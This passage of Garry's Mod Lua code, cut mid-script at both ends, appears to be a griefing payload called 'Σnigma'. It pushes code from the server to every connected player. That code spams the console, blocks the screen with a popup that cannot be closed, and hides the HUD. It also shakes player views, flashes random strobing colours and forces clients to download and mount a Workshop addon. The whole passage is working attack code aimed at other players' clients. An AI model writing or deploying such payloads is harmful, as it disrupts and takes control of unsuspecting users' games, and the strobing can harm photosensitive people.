  455. TEXT_ALIGN_CENTER,
  456. 3,
  457. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  458. )
  459. draw.SimpleTextOutlined(
  460. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  461. "DermaLarge",
  462. ScrW() /2 +math.random( -2, 2 ),
  463. ScrH() /2 +math.random( -2, 2 ) +430,
  464. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  465. TEXT_ALIGN_CENTER,
  466. TEXT_ALIGN_CENTER,
  467. 3,
  468. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  469. )
  470. draw.SimpleTextOutlined(
  471. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  472. "DermaLarge",
  473. ScrW() /2 +math.random( -2, 2 ),
  474. ScrH() /2 +math.random( -2, 2 ) +460,
  475. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  476. TEXT_ALIGN_CENTER,
  477. TEXT_ALIGN_CENTER,
  478. 3,
  479. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  480. )
  481. draw.SimpleTextOutlined(
  482. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  483. "DermaLarge",
  484. ScrW() /2 +math.random( -2, 2 ),
  485. ScrH() /2 +math.random( -2, 2 ) -460,
  486. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  487. TEXT_ALIGN_CENTER,
  488. TEXT_ALIGN_CENTER,
  489. 3,
  490. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  491. )
  492. draw.SimpleTextOutlined(
  493. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  494. "DermaLarge",
  495. ScrW() /2 +math.random( -2, 2 ),
  496. ScrH() /2 +math.random( -2, 2 ) +490,
  497. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  498. TEXT_ALIGN_CENTER,
  499. TEXT_ALIGN_CENTER,
  500. 3,
  501. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  502. )
  503. draw.SimpleTextOutlined(
  504. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  505. "DermaLarge",
  506. ScrW() /2 +math.random( -2, 2 ),
  507. ScrH() /2 +math.random( -2, 2 ) -490,
  508. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  509. TEXT_ALIGN_CENTER,
  510. TEXT_ALIGN_CENTER,
  511. 3,
  512. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  513. )
  514. draw.SimpleTextOutlined(
  515. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  516. "DermaLarge",
  517. ScrW() /2 +math.random( -2, 2 ),
  518. ScrH() /2 +math.random( -2, 2 ) +520,
  519. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  520. TEXT_ALIGN_CENTER,
  521. TEXT_ALIGN_CENTER,
  522. 3,
  523. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  524. )
  525. draw.SimpleTextOutlined(
  526. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  527. "DermaLarge",
  528. ScrW() /2 +math.random( -2, 2 ),
  529. ScrH() /2 +math.random( -2, 2 ) -520,
  530. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  531. TEXT_ALIGN_CENTER,
  532. TEXT_ALIGN_CENTER,
  533. 3,
  534. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  535. )
  536. draw.SimpleTextOutlined(
  537. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  538. "DermaLarge",
  539. ScrW() /2 +math.random( -2, 2 ),
  540. ScrH() /2 +math.random( -2, 2 ) +550,
  541. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  542. TEXT_ALIGN_CENTER,
  543. TEXT_ALIGN_CENTER,
  544. 3,
  545. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  546. )
  547. draw.SimpleTextOutlined(
  548. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  549. "DermaLarge",
  550. ScrW() /2 +math.random( -2, 2 ),
  551. ScrH() /2 +math.random( -2, 2 ) -550,
  552. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  553. TEXT_ALIGN_CENTER,
  554. TEXT_ALIGN_CENTER,
  555. 3,
  556. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  557. )
  558. end )
  559.  
  560. local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  561. hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  562.  
  563. surface.PlaySound( "garrysmod/save_load4.wav" )
  564. surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  565. ]] )
  566. end )
  567.  
  568. ---CONSOLE
  569. decore = {
  570. [[
  571.  
  572.  
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579.  
  580.  
  581.  
  582.  
  583.  
  584.  
  585.  
  586.  
  587.  
  588.  
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595.  
  596.  
  597.  
  598.  
  599.  
  600.  
  601.  
  602.  
  603.  
  604.  
  605.  
  606.  
  607.  
  608.  
  609.  
  610.  
  611.  
  612.  
  613. .,,uod8B8bou,,.
  614. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  615. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  616. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  617. !.......:!?|||||!!^^""' ||||
  618. !.........|||| ||||
  619. !.........|||| ENIGMA IS ||||
  620. !.........|||| ||||
  621. !.........|||| |_| ||||
  622. !.........|||| | |ere ||||
  623. !.........|||| ||||
  624. `.........|||| ,||||
  625. .;.......|||| _.-!!|||||
  626. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  627. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  628. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  629. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  630. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  631. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  632. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  633. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  634. `........::::::::::::::::;iof688888888888888888888b. `
  635. `......:::::::::;iof688888888888888888888888888888b.
  636. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  637. `..::!8888888888888888888888888888888899fT|!^"'
  638. `' !!988888888888888888888888899fT|!^"'
  639. `!!8888888888888888899fT|!^"'
  640. `!988888888899fT|!^"'
  641. `!9899fT|!^"'
  642. `!^"'
  643. ]]
  644. ,
  645. [[
  646.  
  647.  
  648.  
  649.  
  650.  
  651.  
  652.  
  653.  
  654.  
  655.  
  656.  
  657.  
  658.  
  659.  
  660.  
  661.  
  662.  
  663.  
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670.  
  671.  
  672.  
  673.  
  674.  
  675.  
  676.  
  677.  
  678.  
  679.  
  680.  
  681.  
  682.  
  683.  
  684.  
  685.  
  686.  
  687. .,,uod8B8bou,,.
  688. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  689. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  690. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  691. !.......:!?|||||!!^^""' ||||
  692. !.........|||| ||||
  693. !.........|||| ||||
  694. !.........|||| ||||
  695. !.........|||| ||||
  696. !.........|||| ||||
  697. !.........|||| ||||
  698. `.........|||| ,||||
  699. .;.......|||| _.-!!|||||
  700. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  701. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  702. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  703. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  704. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  705. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  706. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  707. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  708. `........::::::::::::::::;iof688888888888888888888b. `
  709. `......:::::::::;iof688888888888888888888888888888b.
  710. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  711. `..::!8888888888888888888888888888888899fT|!^"'
  712. `' !!988888888888888888888888899fT|!^"'
  713. `!!8888888888888888899fT|!^"'
  714. `!988888888899fT|!^"'
  715. `!9899fT|!^"'
  716. `!^"'
  717. ]]
  718. ,
  719. [[
  720.  
  721.  
  722.  
  723.  
  724.  
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731.  
  732.  
  733.  
  734.  
  735.  
  736.  
  737.  
  738.  
  739.  
  740.  
  741.  
  742.  
  743.  
  744.  
  745.  
  746.  
  747.  
  748.  
  749.  
  750.  
  751.  
  752.  
  753.  
  754.  
  755.  
  756.  
  757.  
  758.  
  759.  
  760.  
  761. .,,uod8B8bou,,.
  762. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  763. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  764. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  765. !.......:!?|||||!!^^""' ||||
  766. !.........|||| ||||
  767. !.........|||| It's Too Glitchy ||||
  768. !.........|||| ||||
  769. !.........|||| . . ||||
  770. !.........|||| - ||||
  771. !.........|||| ||||
  772. `.........|||| HELP ME PLEASE ,||||
  773. .;.......|||| _.-!!|||||
  774. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  775. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  776. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  777. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  778. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  779. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  780. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  781. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  782. `........::::::::::::::::;iof688888888888888888888b. `
  783. `......:::::::::;iof688888888888888888888888888888b.
  784. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  785. `..::!8888888888888888888888888888888899fT|!^"'
  786. `' !!988888888888888888888888899fT|!^"'
  787. `!!8888888888888888899fT|!^"'
  788. `!988888888899fT|!^"'
  789. `!9899fT|!^"'
  790. `!^"'
  791. ]]
  792. ,
  793. [[
  794.  
  795.  
  796.  
  797.  
  798.  
  799.  
  800.  
  801.  
  802.  
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812.  
  813.  
  814.  
  815.  
  816.  
  817.  
  818.  
  819.  
  820.  
  821.  
  822.  
  823.  
  824.  
  825.  
  826.  
  827.  
  828.  
  829.  
  830.  
  831.  
  832.  
  833.  
  834.  
  835. .,,uod8B8bou,,.
  836. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  837. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  838. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  839. !.......:!?|||||!!^^""' ||||
  840. !.........|||| ||||
  841. !.........|||| HELP ME !!! ||||
  842. !.........|||| ||||
  843. !.........|||| I NEED HELP ! ||||
  844. !.........|||| ||||
  845. !.........|||| ... ||||
  846. `.........|||| ,||||
  847. .;.......|||| _.-!!|||||
  848. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  849. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  850. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  851. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  852. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  853. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  854. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  855. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  856. `........::::::::::::::::;iof688888888888888888888b. `
  857. `......:::::::::;iof688888888888888888888888888888b.
  858. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  859. `..::!8888888888888888888888888888888899fT|!^"'
  860. `' !!988888888888888888888888899fT|!^"'
  861. `!!8888888888888888899fT|!^"'
  862. `!988888888899fT|!^"'
  863. `!9899fT|!^"'
  864. `!^"'
  865. ]]
  866. ,
  867. [[
  868.  
  869.  
  870.  
  871.  
  872.  
  873.  
  874.  
  875.  
  876.  
  877.  
  878.  
  879.  
  880.  
  881.  
  882.  
  883.  
  884.  
  885.  
  886.  
  887.  
  888.  
  889.  
  890.  
  891.  
  892.  
  893.  
  894.  
  895.  
  896.  
  897.  
  898.  
  899.  
  900.  
  901.  
  902.  
  903.  
  904.  
  905.  
  906.  
  907.  
  908.  
  909. .,,uod8B8bou,,.
  910. ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  911. ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  912. !...:!TVBBBRPFT||||||||||!!^^""' ||||
  913. !.......:!?|||||!!^^""' ||||
  914. !.........|||| ||||
  915. !.........|||| What Is Love ||||
  916. !.........|||| Baby Don' Hurt Me ||||
  917. !.........|||| No More ||||
  918. !.........|||| ||||
  919. !.........|||| ♪ ♫ ♪ ♫ ♪♫ ||||
  920. `.........|||| ,||||
  921. .;.......|||| _.-!!|||||
  922. .,uodWBBBBb.....|||| _.-!!|||||||||!:'
  923. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  924. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!:: `.
  925. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!::::::::: `.
  926. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;::: `.
  927. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::; iBBbo.
  928. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo. WBBBBbo.
  929. `..........:::::::::::::::::::::::;iof688888888888b. `YBBBP^'
  930. `........::::::::::::::::;iof688888888888888888888b. `
  931. `......:::::::::;iof688888888888888888888888888888b.
  932. `....:::;iof688888888888888888888888888888888899fT! Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  933. `..::!8888888888888888888888888888888899fT|!^"'
  934. `' !!988888888888888888888888899fT|!^"'
  935. `!!8888888888888888899fT|!^"'
  936. `!988888888899fT|!^"'
  937. `!9899fT|!^"'
  938. `!^"'
  939. ]]
  940. }
  941.  
  942. function decorationconsole()
  943. print(Color( 0, 0, 0 ), table.Random(decore))
  944. end
  945. -- Console Spam
  946. for k, v in pairs( player.GetAll() ) do
  947. timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  948. end
  949.  
  950. ----WEAPON Color
  951. hook.Add("Think","somewhere_over_the_rainbow",function()
  952. local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  953. for _, v in ipairs(player.GetAll()) do
  954. v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  955. end
  956. end)
  957.  
  958. ---TEXT SPAM VISUEL
  959. function enigma()
  960. enigma = vgui.Create("DFrame")
  961. enigma:SetPos(0,0)
  962. enigma:SetSize(ScrW(), ScrH())
  963. enigma:ShowCloseButton(false)
  964. enigma:SetTitle("")
  965. enigma:SetVisible(true)
  966. enigma:MakePopup()
  967. enigma:SetDraggable(false)
  968. enigma.Paint = function(self, w, h)
  969. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  970. draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  971. draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  972. draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  973. draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  974. draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  975. draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  976. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  977. draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  978. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  979. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  980. draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  981. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  982. draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  983. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  984. draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  985. draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  986. draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  987. draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  988. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  989. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  990. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  991. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  992. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  993. end
  994. end
  995.  
  996. ---PARTICULE
  997. SendToClient([=[
  998. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  999.  
  1000. timer.Simple(5, function()
  1001.  
  1002. game.AddParticles( "particles/enigma.pcf" )
  1003.  
  1004. PrecacheParticleSystem("enigma")
  1005.  
  1006. for i = 1, 10 do
  1007. ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  1008. end
  1009.  
  1010. local ragtbl = {}
  1011. for i=1,20 do
  1012. ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  1013. ragtbl[i]:SetNoDraw( false )
  1014. ragtbl[i]:DrawShadow( true )
  1015. end
  1016.  
  1017. local function GetWebMat( strURL )
  1018. return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  1019. end
  1020. local uwu = {}
  1021.  
  1022. hook.Add("HUDPaint", "okay",function()
  1023. for k,v in pairs(uwu) do
  1024. v()
  1025. end
  1026. end)
  1027.  
  1028. SOUNDSTART_CTP = false
  1029. OZJFOZJCEZIO = true
  1030.  
  1031.  
  1032. sound.PlayURL(" ","mono noblock noplay",function(s)
  1033. if not s then return end
  1034. if SOUNDSTART_CTP then s:Stop() return end
  1035. SOUNDSTART_CTP = true
  1036. s:SetVolume(5 )
  1037. s:Play()
  1038. s:EnableLooping( true )
  1039.  
  1040. local ragtbl = {}
  1041.  
  1042. uwu["CoolEffect"] = function()
  1043.  
  1044.  
  1045.  
  1046. local tbl = {}
  1047. s:FFT(tbl,FFT_2048)
  1048.  
  1049.  
  1050. xpcall(function()
  1051. local fal = 0
  1052. for i=4,6 do
  1053. fal = fal + tbl[i]
  1054. end
  1055.  
  1056. if fal > 0.8 then
  1057.  
  1058. local oneid = "newhud"..math.random(100, 300).."id"
  1059.  
  1060. hook.Add( "HUDPaint", oneid, function()
  1061. surface.SetDrawColor( 255, 255, 255, 255 )
  1062.  
  1063. if GetWebMat( "hud2" ) then -- lui
  1064. surface.SetMaterial( GetWebMat("hud2")[1] )
  1065. surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  1066. end
  1067.  
  1068. end )
  1069.  
  1070. timer.Simple(0.2, function()
  1071. hook.Remove( "HUDPaint", oneid)
  1072. end)
  1073.  
  1074. end
  1075. end,function()
  1076. end)
  1077.  
  1078. end
  1079.  
  1080. end)
  1081. end)
  1082. ]=])
  1083. game.AddParticles( "particles/enigma.pcf" )
  1084. PrecacheParticleSystem("enigma")
  1085.  
  1086.  
  1087. --Disco time
  1088. lol:PushAction( 10, function( pPlayer )
  1089. local idx = pPlayer:EntIndex()
  1090. timer.Create( "beat".. idx, 0.42, 0, function()
  1091. if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  1092. pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  1093. end )
  1094.  
  1095.  
  1096. lol:SendLua( pPlayer, [[
  1097. local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  1098. local time = 0
  1099.  
  1100. hook.Add( "Think", "wat", function()
  1101. if CurTime() < time then
  1102. return
  1103. end
  1104.  
  1105. time = CurTime() +0.05
  1106. for i = 1, 16 do
  1107. local part = emitter:Add(
  1108. "particles/balloon_bit",
  1109. LocalPlayer():GetPos() +Vector(
  1110. math.random( -256, 256 ),
  1111. math.random( -256, 256 ),
  1112. 256
  1113. )
  1114. )
  1115.  
  1116. if part then
  1117. local Size = math.random( 4, 7 )
  1118.  
  1119. part:SetColor( math.random(0, 255), math.random(0, 255), math.random(0, 255), 255 )
  1120. part:SetVelocity( Vector( 40, 25, -math.random(300, 400) ) )
  1121. part:SetDieTime( 4.5 )
  1122. part:SetGravity( Vector(40, 0, -250) )
  1123. part:SetLifeTime( 0 )
  1124. part:SetStartSize( Size /2 )
  1125. part:SetEndSize( Size )
  1126. part:SetCollide( true )
  1127. end
  1128. end
  1129. end )
  1130. ]] )
  1131.  
  1132. lol:SendLua( pPlayer, [[
  1133. hook.Add( "RenderScreenspaceEffects", "wat", function()
  1134. local sinScaler = math.sin( CurTime() )
  1135. DrawBloom(
  1136. 0,
  1137. 3,
  1138. sinScaler *math.Rand(1, 8),
  1139. sinScaler *math.Rand(1, 8),
  1140. 6,
  1141. math.Rand(0.5, 2),
  1142. math.Rand(0, 0.3),
  1143. math.Rand(0, 0.3),
  1144. math.Rand(0.5, 1)
  1145. )
  1146.  
  1147. DrawColorModify{
  1148. ["$pp_colour_addr"] = 0,
  1149. ["$pp_colour_addg"] = 0,
  1150. ["$pp_colour_addb"] = 00,
  1151. ["$pp_colour_brightness" ] = 0,
  1152. ["$pp_colour_contrast" ] = 1,
  1153. ["$pp_colour_colour" ] = 1,
  1154. ["$pp_colour_mulr" ] = 0,
  1155. ["$pp_colour_mulg" ] = 0,
  1156. ["$pp_colour_mulb" ] = 1
  1157. }
  1158. end )
  1159.  
  1160. local mdl = ClientsideModel( "models/player/skeleton.mdl", RENDERGROUP_BOTH )
  1161. mdl:SetNoDraw( true )
  1162. local posCache, time = {}, 0
